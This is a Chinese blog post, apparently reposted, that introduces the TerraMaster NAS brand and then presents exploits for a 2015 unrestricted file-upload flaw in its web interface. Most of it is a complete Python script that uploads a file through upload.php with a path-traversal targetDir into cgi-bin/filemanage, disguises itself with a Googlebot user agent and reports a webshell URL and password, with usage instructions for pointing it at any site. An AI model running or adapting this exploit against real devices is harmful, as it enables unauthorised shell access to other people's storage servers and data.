TerraMaster介绍
Terra Master Storage System Inc. 总部位于美国纽约,从事高端专业存储的开发与销售已经超过16年的历史,是美国著名的专业储存品牌,Terra Master在银行、保险、学校、中小企业及高端家庭存储市场拥有较高的市场份额和良好的声誉。
2008年,Terra Master (铁威马)正式进入中国。将陆续推出Terra Master品牌的系列存储产品,如双硬盘RAID磁盘阵列存储系统、四硬盘RAID磁盘阵列存储系统、五硬盘RAID磁盘阵列存储系统、NDAS网络存储系统、NAS网络存储系统等产品。
近期乌云上面暴了好多文件上传的0day,铁威马就是其中一家,详情请看乌云的文章:
http://www.wooyun.org/bugs/wooyun-2015-095059
看完了乌云文章以后就想使用py折腾一个exp出来,方便此类站点的检测,于是有了正面的html版的exploit
TerraMaster 文件上传漏洞 exploit
TerraMaster NAS网络存储服务器无限制getshell等漏洞 TerraMaster 文件上传漏洞 exploit by:独自等待
Shell地址位于目标URL+/cgi-bin/filemanage/(+文件名为你上传时的文件名)
漏洞详情:http://www.wooyun.org/bugs/wooyun-2015-095059
使用方法很简单,将上面的代码保存为html,然后输入目标的url,然后上传即可,如下图:
TerraMaster 文件上传漏洞 exploit python版
#!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf-8 -*- # Date: 2015/5/7 # Created by 独自等待 # 博客 http://www.waitalone.cn/ import sys, os, time try: import requests except ImportError: raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!') def usage(): # os.system(['clear', 'cls'][os.name == 'nt']) print '+' + '-' * 60 + '+' print '\t Python TerraMaster getshell exploit' print '\t Blog:http://www.waitalone.cn/' print '\t\t Code BY: 独自等待' print '\t\t Time:2015-05-07' print '+' + '-' * 60 + '+' if len(sys.argv) != 2: print '用法: ' + os.path.basename(sys.argv[0]) + ' TerraMaster 网站地址' print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/' sys.exit() def getshell(url): ''' TerraMaster文件上传GetShell函数 :param url: TerraMaster url地址 :return: 返回得到的shell地址 ''' exp_url = url + 'include/upload.php?targetDir=../cgi-bin/filemanage/' headers = {'User-Agent': 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'} filename = 'safe.php' with open(filename, 'wb') as fp: fp.write('') files = { 'Filename': (None, filename), 'name': (None, filename), 'chunk': (None, '0'), 'chunks': (None, '1'), 'file': (filename, open(filename, 'rb'), 'application/octet-stream'), 'Upload': (None, '给老子上!') } try: requests.post(exp_url, files=files, headers=headers) shell = url + 'cgi-bin/filemanage/' + filename reqcode = requests.get(shell, headers=headers).status_code except Exception, msg: print '\n[x] 发生错误了,卧槽!!!:', msg else: if reqcode == 200: return shell if __name__ == '__main__': usage() start = time.time() url = sys.argv[1] if url[-1] != '/': url += '/' ok = getshell(url) try: os.remove('safe.php') except Exception: print '\n[x] 删除临时文件失败,请手工删除!' if ok: print '\n[!] 爷,人品暴发了,成功得到Shell:\n\n%s 密码:%s' % (ok, 'hstsec') else: print '\n[x] 报告大爷,本站不存在此漏洞!' print '\n报告爷,脚本执行完毕,用时:', time.time() - start, '秒!'
html和python版exploit code请君任选。。
from www.waitalone.cn.thanks for it.
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论